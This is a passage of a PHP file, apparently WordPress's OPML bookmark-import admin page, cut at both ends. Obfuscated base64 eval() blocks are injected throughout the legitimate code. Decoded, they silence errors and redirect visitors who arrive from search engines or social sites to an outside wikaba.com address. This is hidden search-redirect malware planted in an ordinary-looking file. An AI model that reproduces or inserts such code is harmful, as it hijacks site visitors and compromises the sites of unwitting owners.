                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('Category:');
                ?>
 <select name="cat_id" id="cat_id">
<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                $categories = get_terms('link_category', 'get=all');
                foreach ($categories as $category) {
                    ?>
<option value="<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    echo $category->term_id;
                    ?>
"><?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    echo esc_html(apply_filters('link_category', $category->name));
                    ?>
</option>
<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                }
                // end foreach
                ?>
</select></p>

<p class="submit"><input type="submit" name="submit" value="<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                esc_attr_e('Import OPML File');
                ?>
" /></p>
</form>

</div>
<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
                // end case 0
            // end case 0
            case 1:
                check_admin_referer('import-bookmarks');
                include_once 'admin-header.php';
                if (!current_user_can('manage_links')) {
                    wp_die(__('Cheatin&#8217; uh?'));
                }
                ?>
<div class="wrap">

<h2><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                _e('Importing...');
                ?>
</h2>
<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                $cat_id = abs((int) $_POST['cat_id']);
                if ($cat_id < 1) {
                    $cat_id = 1;
                }
                $opml_url = $_POST['opml_url'];
                if (isset($opml_url) && $opml_url != '' && $opml_url != 'http://') {
                    $blogrolling = true;
                } else {
                    // try to get the upload file.
                    $overrides = array('test_form' => false, 'test_type' => false);
                    $_FILES['userfile']['name'] .= '.txt';
                    $file = wp_handle_upload($_FILES['userfile'], $overrides);
                    if (isset($file['error'])) {
                        wp_die($file['error']);
                    }
                    $url = $file['url'];
                    $opml_url = $file['file'];
                    $blogrolling = false;
                }
                global $opml, $updated_timestamp, $all_links, $map, $names, $urls, $targets, $descriptions, $feeds;
                if (isset($opml_url) && $opml_url != '') {
                    if ($blogrolling === true) {
                        $opml = wp_remote_fopen($opml_url);
                    } else {
                        $opml = file_get_contents($opml_url);
                    }
                    /** Load OPML Parser */
                    include_once 'link-parse-opml.php';
                    $link_count = count($names);
                    for ($i = 0; $i < $link_count; $i++) {
                        if ('Last' == substr($titles[$i], 0, 4)) {
                            $titles[$i] = '';
                        }
                        if ('http' == substr($titles[$i], 0, 4)) {
                            $titles[$i] = '';
                        }
                        $link = array('link_url' => $urls[$i], 'link_name' => $wpdb->escape($names[$i]), 'link_category' => array($cat_id), 'link_description' => $wpdb->escape($descriptions[$i]), 'link_owner' => $user_ID, 'link_rss' => $feeds[$i]);
                        wp_insert_link($link);
                        echo sprintf('<p>' . __('Inserted <strong>%s</strong>') . '</p>', $names[$i]);
                    }
                    ?>

<p><?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    printf(__('Inserted %1$d links into category %2$s. All done! Go <a href="%3$s">manage those links</a>.'), $link_count, $cat_id, 'link-manager.php');
                    ?>
</p>

<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                } else {
                    echo "<p>" . __("You need to supply your OPML url. Press back on your browser and try again") . "</p>\n";
                }
                // end else
                if (!$blogrolling) {
                    do_action('wp_delete_file', $opml_url);
                }
                @unlink($opml_url);
                ?>
</div>
<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL